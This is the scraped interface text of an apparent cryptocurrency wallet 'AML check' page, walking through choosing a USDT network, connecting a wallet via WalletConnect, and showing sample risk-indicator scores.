AML Check

Wallet check

Step 1 of 4

To continue, please select the desired network

USDT

ERC-20

USDT

BSC

Connect wallet

Step 2 of 4

To continue, select and connect your wallet

USDT ERC-20

The selected asset

WalletConnect

Check in process

Step 3 of 4

We scrutinize your wallet thoroughly

25.38%

Rating scored from A to F, where A represents a clean wallet, and F represents a dirty wallet. The total rating is the average value between the indicators

Transaction diversity 21.47%

Wallet activity 52.99%

Transaction to/from CEX 32.1%

Avg. Transaction Value 50.74%

Wallet Age 39.8%

Suspicious transactions 63.68%

Transaction to High-Risk addresses 65.06%